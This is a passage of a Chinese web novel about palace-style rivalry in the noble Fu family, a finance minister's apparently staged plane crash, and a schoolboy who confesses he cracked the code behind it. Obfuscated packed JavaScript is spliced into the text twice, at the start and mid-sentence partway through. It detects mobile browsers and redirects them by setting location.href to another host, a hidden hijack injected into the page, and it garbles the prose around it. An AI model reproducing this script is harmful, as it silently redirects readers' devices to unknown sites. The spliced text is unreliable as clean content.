l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266193|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国的势力可见一斑。毕竟傅家的根基,靠的还得是兄弟间同气连枝、互相扶持的力量。但他也清楚,哪怕是最深厚的血缘,也难免有算计与较量。 “晋准,财政部最近棘手吗?” 傅晋准微微颔首,语调不疾不徐:“帝国财政吃紧,新的政策刚刚出台,财政部当真是夹缝求生。陛下新任命的财政大臣对我们这些人态度尚未明朗,但皇室对父亲的信任尤在,我们在财政部的影响暂时无碍。不过,首相一派对军费拨款有异议,怕是要做些文章。” “请您放心,我会让人妥善安排。” “这些小事,你就看着办吧,新来的那个小子不过是个光杆司令,用来摆着看的。” 傅劲先又将目光转向小儿子傅秦陶:“军方那边呢?” 傅秦陶笑了笑,举杯敬父亲:“要不是军费一再缩减,前线的装备更新早就完成了。边境战事让军需供应吃紧,军方对我们的军工支持依赖不小。但最近有几家新兴家族想分一杯羹,已经有人在陛下面前进言,建议开放军需合作。” 傅劲先冷哼一声,语气沉稳而有力:“傅家扶持的将领,可不是白白栽培的,若是有人想借陛下的手蚕食我们的利益,得先掂量掂量自己够不够资格。” “你们兄弟俩平日里天各一方,一年也见不了几回,这次回来就在家里多待几天。傅家最重要的就是子孙后代的团结,我们傅家若想立于不败,就要同心协力,不管外界如何变幻,家里不能乱。” 傅劲先将酒杯放回桌上,目光缓缓落在小儿子身上,似笑非笑:“听说你最近跟财政部的几位走动得很勤快。” 他偏爱幼子,这是所有人都知道的事实。可长子傅晋准才是他最后选择的家主,是傅家未来的定海神针,无论如何,外人面前,都不能让大儿子颜面扫地。 傅秦陶微微一怔,但随即笑着解释:“父亲,我身在军备部,不管是军需采购、预算还是军工合作,和财政部总是有往来的。军部的预算拨款向来不轻松,我只是提前做些准备,免得来年再手忙脚乱。” 老爷子轻轻点了点头,语气平和,眼底却藏着深意:“预算拨款自有财政部审核,你有心思多走动,是好事,可有些界限还是要分清楚,傅家不是谁的筹码,更不能让外人看笑话。” 整个宴席的气氛微妙地一滞,傅晋准脸上淡淡的笑意消失了,他没有开口,只是自顾自地呷了一口酒。 傅秦陶笑容不变,眼神却微微一沉,起身站立,举杯朝傅晋准一敬,语调诚恳:“大哥冲锋在前,我自然愿意尽力协助,往财政部走动,我只是为了多了解些局势,以便军方与财政部的配合更顺畅,绝无他意。” 他的眼神坦诚,毫无保留。 旁边圆桌上坐着的,也都是多年修炼、胸有城府的人,但仍有一两个抑制不住自己的情绪,露出一丝憎恶,其他人表情或冷淡或晦暗不明。两派人虽然坐在一起,私下地却有点水火不容的意思。 老爷子轻轻敲了敲桌面,声音不大,却让所有人不由自主屏息:“兄弟俩,本就该同心同力,共扶大局。帝国的朝局并不太平,外人想要分裂我们,已是蠢蠢欲动。” 他微微一顿,目光锋锐地看着傅秦陶,缓缓道:“我宠你,但傅家的规矩,你比谁都清楚——你该伸手的地方,我绝不会拦着;你不该伸手的地方,也别让我为难。” 傅秦陶的指尖微微收紧,最终还是笑了笑,端起酒杯:“父亲教训的是。” 他敛下眉目,瞳孔是幽深平静的黑——新年夜,他本可以借口军务繁忙,选择不出现,但他清楚,自己不能退。因为一旦退了,就会失去最后的立足之地,而他身边的人,不管他愿不愿意,都只会有一个悲惨的下场。 傅秦陶不想为自己辩白什么——虽然他从未想过与他大哥争权。不过他知道,没人信他。 他并不是觉得自己比大哥差,只是没有必要。他本就不喜欢这些算计,更不愿被一张张人皮面具包围。再说了,大哥坐在那个位置上,对他而言并无坏处——他的性格和大哥截然不同,从小起,他就乐得当一个斗鸡走狗的纨绔贵公子。 可惜,他的姓氏是傅。 傅家二爷在军中多年,虽然只在二线部门轮转,但这么些年下来,人人敬他爱他,甚至有人暗中推他再进一步。毕竟,在他们看来,傅晋准只是个玩弄数字的文官,真正能在战时保家卫国的,还得是他们这些冲在前线的人。更何况,财政大臣掌管着军费,而他们这位大臣……可不算大方。 “不服”二字,在军中最是棘手。他手下的人不信他不争,他的父亲和大哥,也不信他不争。就连他自己,有时也有点迷糊:自己到底是个伪君子,还是个真小人? 可惜啊,这世上有些路,一旦踏上了,就再也回不去了。 傅尧低垂眼眸,这顿饭局表面祥和,实则暗流汹涌。傅老爷子这一番话,不仅是在敲打小叔叔,更是向所有外人宣示:即便他偏爱小儿子,也不会允许他僭越。 可是早知如此,何必当初。如果不是爷爷最起初的偏心,哪会有后来的这么多事情。 老爷子这才满意地点点头,缓缓靠在椅背上,目光转向了坐在傅晋准身侧的傅尧。 这个他唯一的孙子,他也很久没见了。这么多年来,他长得越来越像他的祖母,尤其是那双绝美的绿眼睛,在灯火映照下,瞳色仿佛泛着琉璃般的光泽。他的爱妻——那位旧时代的贵族夫人,温婉优雅,却能在风雨飘摇中笑着饮茶的女人。那双翡翠般的眼温润柔和,却又叫人看不透那层隐匿在温和表象之下的锋利。 少年一直温和地坐在父亲身侧,端正从容、举止得体,从头到尾都只是微笑地倾听着席间对话,像是个单纯的晚辈,没有任何威胁。 老爷子意味深长地看着他,终于开口:“乖儿,你今年也15岁了,未来有什么打算?” 傅尧微微一愣,随即露出一抹谦逊的笑意,目光清澈而温润,语气恭敬而不卑不亢:“孙儿年纪尚轻,还需要向父亲和小叔叔多学着看,学着听。” 他微微偏头,光影在瞳孔里晕开,像是春日山野里最明艳的那一抹生机,又像是深海之底幽远而神秘的涡流,令人不自觉被吸引。 老爷子凝视着他,片刻后,露出一抹满意的笑容:“很好。” “好一个学着看,学着听。你从小就聪明,也该学着学着,扛起家里的责任了。” 这话像是随意一句感慨,但老爷子没有一句话是白说的。他是在向在座的所有人昭告——无论将来如何,傅家的下一代,已经有了继承人。 傅老爷子端起酒杯,语气和缓却带着几分威严:“好了,今天可是团圆夜,不谈公事,别让不相干的事坏了兴致。” 他这话一出,不管饭桌上各怀什么心思,大家都收敛了锋芒,纷纷举杯相碰,脸上重新挂起温和的笑意。宴席仍旧温馨,兄友弟恭的假象维持得恰到好处。 傅尧仍旧是那副温和无害的模样,微微垂眸,举杯敬向祖父。 没有丝毫锋芒,也没有任何威胁。 然而,他已经走入了棋局之中。 13. 血腥的开场白 新年才过去没多久,华纳帝国由上至下仍然沉浸在节日的余韵中,街头巷尾依然残留着欢庆的痕迹,空气中残存的烟花火药味,让人恍惚间觉得年味还未彻底消散。 但城市已经在悄然复苏。 主干道上,车流滚滚,假期综合症正上头的驾驶员们正不耐烦地左突右支,只是因为碍于文明禁令不敢长按喇叭;地铁里,人们重新回到拥挤的早高峰节奏,乘客们低头刷着手机,抢到座位的幸运儿多是闭着眼打着小盹,显然还未从过节的放纵中彻底恢复。 商场里,换季的橱窗已经悄然上新,取代了节日促销的标语,广告牌上的模特穿上了早春新款,仿佛提醒着所有人,该收起假期的慵懒,回归现实的轨道。 只剩下那些还未开学的学生们还沉浸在假期的自由里,三三两两地出现在游戏厅、奶茶店、商业街,步履轻快,笑声肆意,对即将到来的新学期毫无紧迫感。 夜幕降临,华灯初上,元宵节的气氛又将城市重新拉回了欢乐的氛围里。广场上开始有人张罗着花灯,河岸边的灯笼点缀出一条长长的光带,等待着夜色完全降临后,重新染上一抹属于节日的浪漫。 然而,一则突如其来的新闻,犹如一颗炸弹,瞬间让整个帝国上流社会陷入动荡。 “帝国新闻台紧急播报——” “财政副大臣傅晋准夫妇所乘航班失联,皇室紧急成立特别调查组。” “今日凌晨,财政副大臣傅晋准及夫人、知名慈善家索菲亚·傅乘坐的 EX-017 湾流七号私人航班在帝国东部海域上空失联。该航班搭载六名乘客及机组人员,原定从帝都前往维尔港执行重要公务访问,航班在起飞后按计划沿预定航线飞行,最后一次与地面塔台联络是在凌晨2时36分,当时一切正常。然而,仅3分钟后,该航班于起飞后3小时37分时,与地面控制塔台失去联系。” “…失联前,航班未发出任何求救信号,也未报告任何机械故障,最后一次记录的飞行轨迹显示,飞机偏离既定航线,朝东南方向飞行,随后信号彻底消失,帝国航空管理局与军方雷达系统均无法重新锁定航班信号,飞机已被官方认定为失联。目前,帝国皇家科学院的航空专家正联合军方技术团队,调取卫星监控数据和航班黑匣子信号,以期尽快找到失联飞机的确切位置。” “…事发后,帝国皇室及内阁高度关注此事件,皇帝陛下已召集紧急会议,指派特别调查小组全权负责搜救及调查事宜。调查小组由军方、交通部、财政部、帝国安全署以及航空专家共同组成,并将在24小时内向公众通报初步调查结果。帝国空军与海军已经联合出动大规模搜救编队,对失联航班的最后已知坐标附近海域进行全方位搜索,同时调动远程雷达、卫星监测系统及舰载侦察设备,全力追踪航班的可能去向。” “傅家是帝国最古老的贵族世家之一,失联消息传出后,傅家尚未对事件做出任何官方回应,仅表示将全力配合调查,并希望外界保持克制,耐心等待调查结果。” “帝国安全署发言人表示,不排除任何可能性,包括技术故障、极端天气干扰或人为因素等。所有失联航班上的人员仍被视为 ‘下落不明’,但我们不会放弃任何生还希望。” “本台特约评论员表示,作为帝国财政体系的核心人物,掌管帝国经济政策与国库财政,如果傅晋准副大臣确认遇难,这无疑将给最近出台的新的经济政策可延续性投下巨大阴影;他的夫人索菲亚·傅女士则是知名的安福童生慈善基金会理事长,在帝国内外皆享有崇高声望。二人的失踪,无疑让各界对帝国的未来局势充满疑问与不安。 新闻一出,民众对事件议论纷纷,阴谋论迅速蔓延——有人怀疑这是单纯的航空事故,但也有人猜测是否涉及政治暗杀、恐怖袭击——索菲亚夫人领导的基金会涉及多个敏感的人道主义项目,也曾多次因政策问题与利益集团发生摩擦。 帝国欢乐的节日气氛,在这一夜之间,彻底消散了。 鹿城的夜风带着海潮的腥味,从敞开的窗户灌进来,一下驱散了室内的热得令人心燥的暖意。远处的海面漆黑一片,唯有零星的几点渔火在浮动,如同深渊里微弱的光点。 傅尧靠在椅背上,海风带来的刺骨寒意一直钻进他骨头里,屏幕上仍停留在帝国新闻台的特别报道页面,刺目的红色标题灼烧着他的视网膜—— “EX-017号航班失联,财政副大臣傅晋准夫妇生死未卜” 帝国新闻台直播画面模糊又清晰——搜救队的探照灯划破夜色,在一片死寂的海浪翻涌里寻找不可知的结果。 他一直以为自己早就做好了心理准备,但看到这样的搜救画面,他仍然心慌得连呼吸都快要失控。 保密的通信终端震动了一下,傅尧猛地一颤,像是从噩梦中惊醒般按下接听键。 是爷爷的声音。 老爷子的嗓音一如既往地沉稳有力,可在这个时候,那种沉稳反而让人窒息。他没有安慰,没有过多的解释,开口便是命令—— “傅尧,待在鹿城,哪里都不许去。” “……爷爷。”傅尧的嗓音有些干涩,他甚至没意识到自己声音的颤抖。 傅劲先的声音听起来甚至连一点悲伤的情绪都没有,仿佛此刻并非是他长子性命攸关的危机关头。 “从现在开始,任何媒体的访问你都不准接受,任何人问起,你就说自己什么都不知情,正在等待官方的调查结果,别多说一个字。” “…就算是调查小组来问,也是一样。你吓坏了,什么都不知道,明白吗?” 傅劲先的语气透着不容置疑的威严,“所有的事自有大人们处理,你现在的任务就是安分地待在鹿城,收拾好自己的情绪,还有两天就开学了是不是?我会再派一支亲卫队去保护你,现在你的安全是头等大事。” 傅尧的手无意识地收紧,指甲几乎要嵌进掌心。他闭了闭眼,强迫自己把所有的情绪压回去,压进心底最深处。他知道爷爷的意思——如今局势未明,帝国上下都盯着傅家,他这个年纪最轻、最无害的继承人,此刻任何一点不对劲的情绪都会被无限放大,引来无数目光。 他不能露出端倪。 挂断来电后,他仍僵硬地站在原地,指尖一阵冰凉。他强迫自己回忆,父亲最后一次和他说话的神态语气,母亲出发之前留在他额头上的那一个温柔的吻,他想钻到记忆最深处去看清之前的每一个细节,可他的脑海里却一片混乱,连那日他们穿的外套是什么颜色都想不起来了。 他庆幸,在出事前,他已经回到了鹿城。 如果此刻他还待在老宅里……他不知道,自己能不能控制住情绪,能不能在媒体的长枪短炮下保持镇静,能不能在爷爷和小叔敏锐的嗅觉下毫无破绽。 书房里站了四五个人,大家都低头不说话——面前的年轻人显而易见正处在爆发边缘,没有人愿意承受他的怒火。 傅尧失控着把屏幕从桌上扫到地上大吼: “这到底是什么意思?” 只有一个看起来三十左右的黑发男子往前一步,即使是熬了个大夜,整个人仍显得非常精神笔挺。 他的声音坚定却不尖锐:“这意味着…飞机失联。”罗培荣这样说道,“经过技术专家初步分析,认为这次事故可能涉及通讯系统故障、突发机械问题,甚至人为因素……” 罗培荣是父亲的特别助理,明面上是财政部核心幕僚,私底下也是父亲最信任的亲信之一。 他和罗培荣对视一瞬,对方没有立刻回应。他不知道罗培荣究竟知道多少,他到底是不是被安排好的? “刚才接到的通知,作为财政部的代表,我也被任命为特别调查小组的成员之一,我这就得启程赶往事故现场。”罗培荣看着其他人先行离去,这才低声道。他话语中的关切夹杂着不容忽视的坚定,“我相信先生,也相信您。您放心,我会尽我所能,也请您务必保持必要的冷静。” 傅尧点点头,目送男子快步走出傅宅。 又一个高保密级别的通讯请求在他的终端上亮起,对方是老爷子的人,言辞谨慎地询问他是否有权限调取相关数据,或者是否知道任何可能的疑点。傅尧盯着那条信息许久,唇边忽然浮现出一丝极淡的冷笑。 他终于找到一个合适的出口。 【你们到底是干什么吃的?】 【我父母坐的飞机失联了,而你们连最基础的监控数据都查不出来?】 【如果他们真的出了事,你们是不是要等帝国的媒体先发布报道,才知道要去哪里收尸!】 对方立刻发来一连串的安抚与解释,傅尧没有理会,他狠狠地按下关机键,手指几乎因为过度用力而泛白。他不是在发火,也不是在指责——他只是在用这个方式,逼自己冷静下来,逼自己不要再去想那个最可怕的可能。 书房里只剩下壁炉噼啪燃烧的声音,他终于忍不住将手掌盖在自己的眼睛上,手背触及微湿的眼角。 他无法承受这个可能。 “帝国新闻台紧急播报——” “财政副大臣傅晋准乘坐航班失联数日,官方确认发现疑似飞机残骸——” “本台最新消息,今日凌晨,在帝国东部海域偏远水域,搜救队发现了疑似失联多日的EX-017号航班的残骸,包括少量机身碎片与部分座椅,以及疑似机上人员的遗留物品。目前,尚未发现任何生还者,机上乘客及机组人员恐已全部罹难。” “特别调查小组正在加紧确认残骸来源,并已将疑似遗骸及物证运回帝都进行进一步鉴定。皇帝陛下指示各方保持冷静,等待官方调查结果。” “此次事件引发政坛震动,财政部及上议院将召开紧急会议,以商讨应对方案。本台将持续关注最新进展。” 听到新闻播报的那一刻,傅尧的世界仿佛骤然坍塌了一角。 他无法克制自己的恐惧,父亲没有告诉过他完整的计划,但他知道大概的关键点。 这一刻,他没办法去计算利弊,没办法去权衡得失,他脑子里只有一个声音在不断回响——有变数。 计划出错了。这不是原定的安排。 这个方式不是他们预先安排的那个方式—— 这意味着…… 他不敢想象——如果这场“假死”不是真的假死呢?如果出了意外呢?如果,父亲真的…… 不,不可能。父亲那么谨慎,做任何事都留有后手,怎么会栽在这里? 可他却压不住心底翻腾的恐惧,像一只冰冷的手攥住了他的喉咙,让他喘不过气来。 他必须相信双亲还活着,哪怕只是为了让自己撑下去。 “帝国新闻台最新报道——” “财政副大臣傅晋准乘坐航班确认坠毁,傅氏夫妇遇难。” “【帝都,紧急讯】经特别调查小组确认,财政副大臣傅晋准夫妇乘坐航班确认坠毁,机上乘客包括财政副大臣傅衡之及其夫人,全部确认遇难。皇室对此深表哀悼,并宣布将于近日举行国葬。陛下亦在声明中强调:“…将以最严谨的态度查明真相,并确保所有调查细节向公众透明化。 ” “傅家尚未对外发表声明,政商两界震动,帝国政局或将迎来新一轮变动。” 傅晋准夫妇遇难的消息迅速传遍帝国,各大贵族家族、政坛领袖及企业巨头纷纷发表声明,表达哀悼。 傅尧拨通了罗培荣的私人通讯,对面沉稳的声音响起,但难掩疲惫:“…目前调查组的结论确实是如此,残骸被发现,也被送去化验了,但由于样本受损毁程度严重,DNA验证无法完全确认身份。” 傅尧明白,当初的计划是双刃剑,这本来就是死中求活的险棋,片场都会有意外,更何况战场?如果戏做得不够真,这就是把自己打包扎好蝴蝶结地送到死神手里。因此,一开场就如此震撼,才是安全的保证。 但这不是拍电影,就算是超人特工 007 也不能变魔术一样地,从被拆碎的飞机里万无一失地活着出来。 他抚着自己左手手腕上的丑陋疤痕,而后双手十指紧握,握得太紧,以至于感受到了剧烈的疼痛。 他倒是很想随着他们离开,然而更勇敢的并不是赴死,而是更加努力地活下去。一个家族要在历史的风雨中长久地辉煌屹立并不容易,但一夕倾塌并不是难事,尤其傅家已经失去了正值壮年的主人、岌岌可危正被众多恶狼环伺觊觎。对于傅尧,既然他已经被傅家一粥一饭、一针一线地供养到如今,那么现在,该轮到他偿还这些的时候了。 “我明白,请代我向调查组的各位问好,感谢大家恪尽职责,多谢了。” 一句话说的轻描淡写,却让那头的人听得难过起来,罗培荣低声说:“请您节哀。” 一股不可抑制的歉疚席卷了罗培荣的全身──尽管隔着千里之外,他仿佛能看见那个还不满十五岁的少年就坐在自己的对面,受益于严格的家教,对方依然沉稳从容,还能微笑致谢,但所有的悲伤和憔悴都清清楚楚地写在脸上。 还没等傅尧彻底平复下来,保密终端再次震动——这次,是傅秦陶。 傅尧闭上眼,深吸一口气,指尖按上太阳穴,死死地按住,试图平复自己混乱的思绪。他没有马上接听,直到那通来电不依不饶地响了三遍。 “小乖?”傅秦陶的声音比平时要低沉许多,带着一点从未有过的克制和不安,似乎还未从震惊中回过神。 他已经很多年没有这样亲昵地称呼过傅尧了——事实上,他们已经多年未曾直接交谈过。 傅秦陶看着新闻画面,旁白用沉稳克制的语气播报着“傅氏夫妇遇难”时,整个人都僵住了,内心竟然升起了一种近乎荒谬的违和感。 他的兄长怎么可能死得这么荒唐? 没有征兆,没有铺垫,没有挣扎,就这样在一场再普通不过的航班事故里消失了? 这太不像傅晋准的作风了。 他从沙发上一跃而起,披着睡袍就往外走,连鞋都没穿好,急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266194|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匆匆地拉开抽屉翻找烟盒,手忙脚乱地点燃一根,深深地吸了一口。尼古丁涌入肺腑,刺激得他微微皱眉,可是胸口的闷痛丝毫没有缓解。 对面沉默了一秒,然后传来少年低沉克制的声音:“小叔叔。” 傅秦陶深深地吐出一口烟,仰头倒在沙发上,闭着眼睛,“小乖,告诉我这不是真的。” 傅秦陶的声音有些不稳,带着某种仓促的压抑感。 傅尧没有立刻回答,他的沉默让傅秦陶心里猛地一沉。 “……这就是调查组目前的结论。”少年最终缓缓开口。他的目光落在书桌的报纸上——头版头条赫然印着“帝国财政副大臣傅晋准夫妇不幸罹难”的黑色标题,“新闻不都写了吗?空难,失联,遇难。全国上下此刻都在哀悼我的父亲和母亲。” 傅秦陶皱眉,生生用手捏灭了烟蒂,痛得他心一颤。他知道傅尧在隐忍,在克制,在努力表现得与他年纪不符合的镇定。 他放轻声音,像是回到了多年前,哄小孩一样低声哄他:“小乖,我不相信,你也不要相信。你爸那个人,你比谁都清楚。他怎么可能就这么轻易死了?尸体都没找到,一切都不算数。” 傅尧没有回答,他听得出来,说话的人已经喝了不少酒,声音有些发涩。傅秦陶向来心大,即便是那年,他也从未真正失态。可现在,他的语气里有着压抑的颤抖,甚至有一丝难以掩饰的茫然,带着某种无法置信的错愕,又像是一种不愿接受现实的挣扎。 片刻后,傅尧的声音低低地响起:“……小叔叔,你冷静一点。” 那头沉默了很久,久到傅尧甚至以为他不会再开口。 然后,他听见傅秦陶低低地笑了一声,像是苦笑,又像是自嘲,“……他不会死得这么轻易。” 这句话带着一种比悲伤更深的情绪,像是深埋在心底多年、不愿承认的某种执念。 “我跟他斗了这么多年。” 傅秦陶的声音很轻,仿佛喃喃自语,“就算他真的要死……也不该是这种方式。” 傅尧微微闭了闭眼,他知道,小叔叔其实并不是真的希望父亲死去。 他们兄弟之间的争斗,是从长子与次子的身份之争开始,又在彼此的不同立场和外力裹挟下,逐渐演变成了一种剪不断理还乱的对立。但无论如何,傅秦陶都是曾经那个陪他骑过旋转木马、放过风筝的小叔叔,当年的事,总是他亏欠的多一些。 电话那头的呼吸声变得急促了一瞬,像是酒精终于攻上大脑,让他难以再维持冷静。傅秦陶低声问,带着些许不易察觉的脆弱,“……小乖,你相信我吗?” 小乖。 这个称呼让傅尧一下子回到了童年,无知的幼童挥舞着小短手,“咿咿呀呀”地还不会说话,青春帅气的男大学生把他高高举起,放在自己肩头,刻意压粗声音:“小乖,你可不许尿我身上啊。” 温情的回忆转瞬即逝,傅尧垂眸,指腹轻轻摩挲着自己的伤疤,静了片刻,才缓缓开口,语气平稳得像是在述说一件极普通的事情: “小叔叔,父亲已经不在了,跟您比起来,我是晚辈,不该做的事,我一样都不会做,但我也想请您答应我,无论局势如何,您都不会轻举妄动。” 电话那头彻底安静了。 傅秦陶没有再说话,甚至连呼吸声都变得极轻,而后冷冷来了一句:“你倒是比你父亲会算计。” 傅尧一点没有心理障碍地接受了这个评价:“但您不会拒绝的。” 电话那头传来一声短促的嗤笑,像是被他这句话惹得有些不爽,又像是有些疲倦。 “……你真是越来越像他了。” 傅尧依旧平静,轻声道,“所以,小叔叔,您答应吗?” 对面安静了很久,久到傅尧已经能听见傅秦陶若有若无的叹息。半晌后,傅秦陶似是笑了一声,又像是嘲弄自己。 最终,他听见了那个略带无奈的声音: “好。” 傅尧没有再继续,而是默默地挂断了通讯。 通讯断开的瞬间,他终于靠在椅背上,肩膀微微颤抖,额角沁出一层冷汗,整个人像是筋疲力尽从水里捞出来一般。 顾梓聿不知道是不是去看元宵花灯受了凉,又或者是之前压抑的疲累一下子爆发,元宵节当晚就发起烧来。起初只是头痛和四肢无力,可接下来连着高烧了两天,烧得他眼热口干、意识涣散、灵魂出窍,甚至错过了新学期的开学。 顾仲景忙着伺候他,拿温毛巾替他擦身子物理降温。温凉的触感让顾梓聿舒服了一瞬,少年无意识地哼了一声,柔弱地像是求助。 顾仲景看着他这副样子,心里一软,动作放得更轻了些。 “先把药吃了,睡一觉就好了。” 顾梓聿烧得迷迷糊糊,被扶着半靠起来,闭着眼睛勉强吞下苦涩的药片,又被喂了几口温水。他想说句谢谢,干渴的喉咙发出的声音却轻得几乎听不见。顾仲景看了他一眼,叹了口气,又替他把被子掖紧了一些。 直到男孩均匀绵长的呼吸声响起,顾仲景才静静起身,回到自己房中。他掩上房门,站在落地窗前,闭起双眼,细细咀嚼着那条震动了整个华纳帝国军政两界的新闻——他已经很久没有像现在这样束手束脚,只能通过一些蛛丝马迹去揣测将要迫近的暴风雨了。 自大哥从家谱上生生烫去他的名字,而他背着满身伤、带着那时还小的男孩,隐姓埋名为生活奔波时,他就知道命运的安排是自己无论如何都无法逃脱的。自己所能做的,不过是赶在时间前面,将那孩子平安带大,守护着他,直到他能承受住这些风雨。 但出乎他意料的是,与那些龌龊往事再次相遇的时刻竟来得如此之早,而拉开一切序幕的开场大戏,竟如此荒谬。 说起来是由于机师的疏忽,未按规定例行检修就让飞机起飞,才会酿成事故。但傅晋准是怎样的人他还不了解吗——当年可是被称为“狡狐”的人哪!他那样谨小慎微的个性,怎会在这样的小阴沟里翻船?最重要的是,湾流七号之所以成为军部大佬的爱驾,就是因为其出众的安全性能和稳定的机械参数! 如此多的疑点,有心人自然能嗅出其中的猫腻。那机师证言、黑匣子的记录等等诸如此类不过是为了糊弄民众,欲盖弥彰罢了。有能力而又有胆量敢做这件事的势力,一只手就能数的出来。可他们又和当年的那件事有什么关系?连傅家都敢动手,这群人还想做什么、还敢做什么? 顾仲景按了按眉心,叹了口气:他当年叛出家门,而后断绝一切故旧交往,就是为了保顾梓聿平安。顾梓聿若平庸如常人也就罢了,自己也不是养不起。他这辈子也不指望这孩子为他父母报仇——这趟浑水,太深太湍急了!但顾梓聿毕竟继承了他父母的优良基因,他若一直这么耀眼下去,难保不会因为优秀的履历而被军部抽调成为国防生,回到那起子魑魅魍魉眼皮底下去,那他所做的一切牺牲,一切隐忍就都白费了。 是该和这孩子认真谈一谈了,他想。 14. 中考倒计时100天 过了个新年,冬假充实的课程结束了,迎来的就是初中的最后一学期。 气氛紧张得接近凝滞,初三学生的这栋楼就连下课时段基本上都是鸦雀无声的,偶尔几个跑到这栋楼来办事的低年级学生也有感这肃穆的氛围,脚步都随之放轻了许多。 初三下学期,学业压力如同狂风骤雨,一开学,空气中就弥漫着紧张的气息,仿佛每一寸教室的空间都被“中考”二字填满。老师们不再客气,开学第一天就甩出一叠厚厚的试卷,讲台上的粉笔噼里啪啦地写个不停,而墙上高高悬挂的那个鲜红的“中考倒计时”也死死地占据了C位。 作业量?翻倍。考试频率?周考、月考、模拟考接踵而至,试卷仿佛永远做不完。以前还能在自习课上偶尔摸个鱼,现在稍微发呆五分钟,就会发现同桌已经刷完一套数学卷子,后座默写了一篇英语作文,连平时最不爱学习的那位,都开始在草稿纸上演算函数。 班级里的气氛也变了。曾经课间还能听到打闹的声音,现在走廊里都是低声背书的嗡嗡声,厕所里还能听到有人一边洗手一边默念历史时间轴。食堂的现煮面窗口前,队伍比以往更短,因为大家更愿意带着面包回教室,一边啃一边复习物理公式。 老师们也开始“狠”了,讲课节奏比火车还快,作业布置得毫不手软,讲评试卷时眉头紧锁:“这题型中考考过多少次了,你们还做错?”家长群更是高频震动,每天都在提醒学生们报名辅导班、规划学习时间,家长之间的对话也从“孩子最近喜欢吃什么”变成了“你们数学刷到第几轮?” 就连平常人气最高的篮球场,现在也变得空空荡荡——初三生是不敢去打篮球的,只能望球场兴叹,因为没人敢冒着受伤的风险上考场——万一右手出了什么事呢? 尽管如此,偶尔的课间大家还是会偷偷聚在一起聊几句,谈谈最近的压力,互相打打气。毕竟,初三下学期就像一场马拉松,现在正是冲刺阶段,咬牙坚持,才能在六月的考场上交出满意的答卷。 当然啦,对于一班的学霸们来说,中考嘛,不过是小菜一碟,他们是无论如何都能考上本校高中部的。用其他平行班学生的话来说,“这一百天不动笔都可以了”。 然而,对于某些人来说,这却是十分不科学的事情了。 比如说像顾梓聿。 顾梓聿何许人也?那是所有人都可望而不可及的学神!撇开他优秀的课业成绩不说,据说这一届最装逼的话就是“只能拼第二了”——因为没人能拿第一。包括上学期期末大家普遍看衰的市质检,顾梓聿在化学崩盘的情况下靠着其他科的绝对优势力挽狂澜,居然还是全市第一! 还有他那变态至极的全科竞赛——数理化英加信息学,国文老师还逼他去参加征文竞赛,最不要脸的是,这厮征文居然还能拿奖!这明摆着就是分分钟比死人的“别人家的孩子”。 本来嘛,初三下学期是竞赛的收获期,有些偏科的孩子就指着靠竞赛上个好高中呢。然而,顾梓聿却一反常态地消失了,上课的时候就发发呆,下课了就跑去和校篮球队的体育生玩斗牛,自习课还跑去给其他平行班的漂亮妹子补课! “老大,你真的不参加今年的 NOI 吗,国家队对你来说可是板上钉钉的事,我们辛辛苦苦了那么多年,不就是为了一起去参加 IOI 吗?今年大家都有希望了,其他竞赛你不参加也就罢了,反正你都已经拿过数理化的奖,参加今年的比赛也只是堵人家路而已。但 IOI 这么重要,我们一起努力了这么久,就差这最后一搏…” 方灵烨在那里兀自滔滔不绝,但顾梓聿连头都没抬,而是旁若无人地对被“堵别人路”这一说法惊呆的学校舞蹈队主力长发妹子说:“没事,别理他,来,我们来看下一题…” 被顾梓聿这种不把他放在眼里的态度激怒,方灵烨愤怒地一拍桌子:“顾梓聿你够了,不懂得把握这么好的机会自甘堕落也就罢了,都快要中考了你在这里泡…和别的女生眉来眼去,你对得起张瑾妤吗!” “你先做题,我出去一下。”顾梓聿无动于衷,只是对被吓了一跳的长发妹子嘱咐了一声,然后看了方灵烨一眼,“你跟我出来。” 本来挺不忿的方灵烨被那眼神一盯,突然就说不出什么狠话出来,只得垂头丧气地跟在这个一直以来他都乖乖听从十分佩服的老大后头。 走到一个墙角,确认他们之间的谈话不会被别人听到,顾梓聿这才转过身来,对方灵烨说:“我最后再说一遍,我不会再参加任何竞赛了,包括 IOI,这些事现在和我都没有关系了。当然,我祝福你能拿到金牌。至于张瑾妤和我,我们之间从来没有什么,这种事以后别再提了。” 说完这句话,顾梓聿就两手插兜地走了。方灵烨愣愣地看着那个貌似潇洒实则孤寂的身影,突然觉得老大有点陌生:老大分了多少精力、花了多少时间在信息学竞赛上,他是知道的,如今,到底是因为什么能让他说放下就放下?最能证明自己的试金石就放在面前,他却就这样视若无睹就过去了? 开学以来,他就觉得大家都怪怪的——老大和傅尧都放弃了继续做信竞,彭昱说是打球手指骨折了,也有一段时间没来,瑾妤好像和老大有了矛盾,两个人变得像陌生人一样,而老大对学习居然不上心了! 虽然这次比赛老大不参加,他拿金牌的把握又大了几分,但是这种感觉却好像背叛了老大一样,就像那个震惊全国的坠机事件一样,让他感觉很不舒服。他只想要钱,他不想害人,他是真的没有想到会有那么严重的后果! 看到那条新闻时,他的脑袋都要炸了—— 画面里播放着坠机现场的航拍影像,失事海域的航拍镜头模糊而晦暗,海面上漂浮着零星的残骸和少量燃油痕迹。不断更新的新闻稿里,提到了各种可能的原因:机械故障、恶劣天气、飞行员操作失误、机师检修的疏漏,背景音是主持人低沉的播报声:“目前,搜救工作仍在继续,但由于事故发生在偏远海域,生还希望渺茫……” 只有方灵烨知道,这些都只是官方掩盖真相的说辞。 真正的原因,他比任何人都清楚。 因为—— 那一组加密代码,是他亲手破解的。 